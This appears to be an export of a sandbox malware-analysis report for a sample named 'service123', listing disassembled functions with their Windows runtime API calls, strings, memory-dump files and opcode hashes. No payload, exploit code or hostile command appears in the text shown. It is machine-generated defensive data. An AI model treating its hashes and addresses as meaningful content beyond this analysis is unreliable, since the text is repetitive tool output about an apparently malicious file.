Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 5a0c3f9d76b30e1b5b45c88bf823a0897e2d707990bbedeba416a91fe9fbebdd
Instruction ID: a526ec5321e5dfa45202db593a85536588e97b3e7c765bf6093abd6433ce11db
Opcode Fuzzy Hash: 5a0c3f9d76b30e1b5b45c88bf823a0897e2d707990bbedeba416a91fe9fbebdd
Instruction Fuzzy Hash: 8B3138B45093418FDB50CF29D28425ABBF0BF86318F508D1EE8D887390E3B6D859CB42

Function 6C84F511 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C84F5C1

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: 7d2b12136166d00f1ff2e3a0a5ac10e0ee7ac2e62d0f8f9b713c7b65db8fa9de
Instruction ID: 396e527a8163e565632201dc02a23c4e246554869f521fbaeb1ce020ff16437e
Opcode Fuzzy Hash: 7d2b12136166d00f1ff2e3a0a5ac10e0ee7ac2e62d0f8f9b713c7b65db8fa9de
Instruction Fuzzy Hash: 97413B71A09305CFEB20DF2AD6453167BF0BB56318F268A1DE8984B795D331D845CFA2

Function 6C84F6B0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C84F751

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: e166a54138d8344c51655a591e92844e38bb54c3c2af6efc44b2b495e8e4f6e3
Instruction ID: c55119c271b5157df4e5496c303504ceac6b27e42a8ba6a1df64b97a95bf552a
Opcode Fuzzy Hash: e166a54138d8344c51655a591e92844e38bb54c3c2af6efc44b2b495e8e4f6e3
Instruction Fuzzy Hash: 88315770A0A344CFEB20DF2AD6853167BF0BB47318F258A5DE8948B795D335D805CBA2

Function 6C84F9D1 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C84FA72
CreateSemaphoreW.KERNEL32 ref: 6C84FAB7
WaitForSingleObject.KERNEL32 ref: 6C84FB00

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: bb2834d524e4a067fd4e2f7a60e3898c4ffbd4c7d99fba4c6fbeec521f37f2f1
Instruction ID: f0dd3b67cfaffa45286ade591d12b8fae3f4c89f73b39126998851ef51c61995
Opcode Fuzzy Hash: bb2834d524e4a067fd4e2f7a60e3898c4ffbd4c7d99fba4c6fbeec521f37f2f1
Instruction Fuzzy Hash: 76312770609305DFEB20DF2AC6853167BF0BB46318F258A2DE8988B781D335D905CFA2

Function 6C84FB60 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C84FBF2
CreateSemaphoreW.KERNEL32 ref: 6C84FC37
WaitForSingleObject.KERNEL32 ref: 6C84FC80

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 9854b512b70a66fe97cd49f0ab782c36ec40154c7c10ba09f6201a971ad0327c
Instruction ID: 36e146cd95aec1e3a81e990839eb924305ed7276a2e28cdea8bd190aac95fb3e
Opcode Fuzzy Hash: 9854b512b70a66fe97cd49f0ab782c36ec40154c7c10ba09f6201a971ad0327c
Instruction Fuzzy Hash: D431467060D315CFEB10DF2AC2893167BF0BB56758F228A5DE8988B784C335D405CBA2

Function 6C8455A8 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C8472FE

Strings

}, xrefs: 6C847392
this, xrefs: 6C8455B3
{parm#, xrefs: 6C8472D9

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: b644f4d2afc99357e14c733c7b52d44749c269e0670e5bdbf7946e542db70219
Instruction ID: 84eb09dbfc8432dfd4a541412cf756e06b18ab579482b120aede3ae3e4204c0f
Opcode Fuzzy Hash: b644f4d2afc99357e14c733c7b52d44749c269e0670e5bdbf7946e542db70219
Instruction Fuzzy Hash: 10218D7050D346CFD7218F18C1843A9BBA1AF91308F19C9BEDCC84FA0AC7799485CBA2

Function 00B31001 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00B3106B
__p__fmode.MSVCRT ref: 00B31070
__p__commode.MSVCRT ref: 00B3107D

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: d8fa325a23e014d0d16ed530b97f56af9aad8344a6093f02cd194ae6b5191c22
Instruction ID: 5bd533028d62f7aa5e4c6d5076454f0f323abdcb7dec411635b4447ece030105
Opcode Fuzzy Hash: d8fa325a23e014d0d16ed530b97f56af9aad8344a6093f02cd194ae6b5191c22
Instruction Fuzzy Hash: 8321AF70504241CBC32CAF28D66536933E9FF00304FB489E8C4184B266EF7AD8CADBA1

Function 6C8B9F70 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C8B9F85
strlen.MSVCRT ref: 6C8B9F8F
memcpy.MSVCRT ref: 6C8B9FB8
setlocale.MSVCRT ref: 6C8B9FCC

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 2de9a3d8183e3dfadcf2ed800699820d01b2c7fec2426c188781aca67b5267b0
Instruction ID: aa9da4febb0378f6b1ca2efab55813108feed1db0cc5017666238bff2468c847
Opcode Fuzzy Hash: 2de9a3d8183e3dfadcf2ed800699820d01b2c7fec2426c188781aca67b5267b0
Instruction Fuzzy Hash: 63F03AB15093109AD3507F6895453AFBAE4EF80644F418C2DE0C88B710D7B8C4598B92

Function 00B34558 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

u, xrefs: 00B34596
@, xrefs: 00B34647

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: 77b522b998a30e1077ad879c749fc61e32239ac6ee04b81d4a264abeed4724d9
Instruction ID: 9b48df7f67ad4fa615a93d23ceb6e3133e5a6bdaf399ec9e7c9af9b90f7a9b22
Opcode Fuzzy Hash: 77b522b998a30e1077ad879c749fc61e32239ac6ee04b81d4a264abeed4724d9
Instruction Fuzzy Hash: 1BA18E715083918BC730CF24C0803AABBE1FB85714F358AADE8D997352DB35E949DB82

Function 6C854C28 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

u, xrefs: 6C854C66
@, xrefs: 6C854D17

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: c0e8a90a1ab946ab68ddeab62d665365f628524c70d07be16bc57a4a484eb0cf
Instruction ID: 795d80b2f99a5caaa48d03370eb8bf39a2652e4ea4586401754c1e07042a6381
Opcode Fuzzy Hash: c0e8a90a1ab946ab68ddeab62d665365f628524c70d07be16bc57a4a484eb0cf
Instruction Fuzzy Hash: DBA19E7160C3558BD7B08F25C28039ABBE1BFC5308F958A2DE8DC47642D7B4D969CB82

Function 00B34C21 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00B34DBE

Part of subcall function 00B32830: fputc.MSVCRT ref: 00B328F8

Strings

(null), xrefs: 00B34C27
@, xrefs: 00B34647

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: 671e7320f328b2f22e2ff0fccd3b67bea32f139c78c349b1ad4db1e3a49a1cd8
Instruction ID: 81113f8e4f70ee49bc6f42f1532da09adb7e2f6e9528de899ac92f79baa38815
Opcode Fuzzy Hash: 671e7320f328b2f22e2ff0fccd3b67bea32f139c78c349b1ad4db1e3a49a1cd8
Instruction Fuzzy Hash: 4891AF356083918BD7318F24D0903AABBE1FF85714F358AADE8D887342DB35E945DB82

Function 6C8552F1 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C85548E

Part of subcall function 6C852F00: fputc.MSVCRT ref: 6C852FC8

Strings

(null), xrefs: 6C8552F7
@, xrefs: 6C854D17

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: c8652d734885fed6285ae25ff4de11c07196d637a899a62890e29a841699f65e
Instruction ID: abf59773c730ae2e20b063385155b041524de799f25b4223e051093cd0b34321
Opcode Fuzzy Hash: c8652d734885fed6285ae25ff4de11c07196d637a899a62890e29a841699f65e
Instruction Fuzzy Hash: DA91AF7160C3558BD7B18E25C18039ABBE1BFC5308F958A1DD8DC87741D7B5D929CB82

Function 6C8D5DB0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C8D5DEA
wcslen.MSVCRT ref: 6C8D5E7C
wcslen.MSVCRT ref: 6C8D5F0E
strlen.MSVCRT ref: 6C8D5FA0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 8464bde64d159641984420bd5441572031d14e91d00d096efad5c74cbc7afc77
Instruction ID: 011d9a7d660fc90e61f19d570d9701799fc11fe03c3e59b340c9176b5e2da592
Opcode Fuzzy Hash: 8464bde64d159641984420bd5441572031d14e91d00d096efad5c74cbc7afc77
Instruction Fuzzy Hash: DDF16CB0A0560A8FCB10DF6CC2849AEBBF0FF44314B118E69E855DBB54E734E945CB81

Function 6C8D55D0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C8D560A
wcslen.MSVCRT ref: 6C8D569C
wcslen.MSVCRT ref: 6C8D572E
strlen.MSVCRT ref: 6C8D57C0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 1b6cfbd1c5738f26e5b1a4dca3ed10879bf3f2b164a3ee4b3ad7c59eb0211b88
Instruction ID: 3688b880300f10bddcda4f3af73f0a7e58b32d88c50431cee3a053bb57cde734
Opcode Fuzzy Hash: 1b6cfbd1c5738f26e5b1a4dca3ed10879bf3f2b164a3ee4b3ad7c59eb0211b88
Instruction Fuzzy Hash: 10F15BB4A057058FC720DF6DC2849AEBBF0FF44314B518A6AE895CBB54E734E946CB81

Function 00B329B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00B32A31

Strings

NaN, xrefs: 00B329B1

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction ID: f7b1887bbfb6525061c9918715e9a19a664a01eb1844a8f24d1729f5ebf6b1e5
Opcode Fuzzy Hash: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction Fuzzy Hash: D14104B1A04215CBDB24CF18C5C4756B7E5EF88710F3982A9DC889F34AD332DC428B90

Function 6C853080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C853101

Strings

NaN, xrefs: 6C853081

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction ID: 46114917a2f496fb8d3c35580bb48b45d6f7a0b5b3499f55df5029db9de003c7
Opcode Fuzzy Hash: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction Fuzzy Hash: 49416FB1645714CBCB60CF28C6C0745B7E1AF85704B69CAA9EC488F74AD376DC16CB90

Function 6C8D4DD0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C8D4E0A
strlen.MSVCRT ref: 6C8D4E8D
strlen.MSVCRT ref: 6C8D4F10
strlen.MSVCRT ref: 6C8D4F93

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: baccf1547a1384bc9e1f5da39c3511b793114db9feeb4fb58d65103ba4c94e5b
Instruction ID: 345c079a9848c8494b2378140027570a1b7a859f2baf8c96b25289a20b5e4405
Opcode Fuzzy Hash: baccf1547a1384bc9e1f5da39c3511b793114db9feeb4fb58d65103ba4c94e5b
Instruction Fuzzy Hash: A8E14AB4A047058FCB20DF6DC2849AEBBF1FF85314B118A6AD855DBB54E734E909CB81

Function 6C8D45D0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C8D460A
strlen.MSVCRT ref: 6C8D468D
strlen.MSVCRT ref: 6C8D4710
strlen.MSVCRT ref: 6C8D4793

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6f331f03e3e934794898a4ed2935a642de12a35de2f94dc48f61cf213e6ea56c
Instruction ID: 846baa1044182342077f56aa7b77d93d78fa49bd35dc3c477eced8631660ebaa
Opcode Fuzzy Hash: 6f331f03e3e934794898a4ed2935a642de12a35de2f94dc48f61cf213e6ea56c
Instruction Fuzzy Hash: 76E16874A046058FC720DF6DC2C09AEBBF1BF85314B118A69E856DBB54EB30E909CF85

Function 6C85E1F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6C85E1FE
strlen.MSVCRT ref: 6C85E211

Strings

basic_string: construction from null is not valid, xrefs: 6C85E233

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strerrorstrlen
String ID: basic_string: construction from null is not valid
API String ID: 960536887-2991274800
Opcode ID: 64c4f37857d602624a918e58ced689b556197791a30b999ae073f88f790a3af6
Instruction ID: f078416fe60b802b24ccec9bbad64f335b97e7a59d63fb1dcbe87a3fce68cd46
Opcode Fuzzy Hash: 64c4f37857d602624a918e58ced689b556197791a30b999ae073f88f790a3af6
Instruction Fuzzy Hash: 6C113372A082008F9710FF3EC94145A7BF1AB99314F95CE6DE89487708E638D4198BB3

Function 00B32F46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00B32E97
fputc.MSVCRT ref: 00B32F07
memset.MSVCRT ref: 00B32FC2

Strings

o, xrefs: 00B32F5E

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

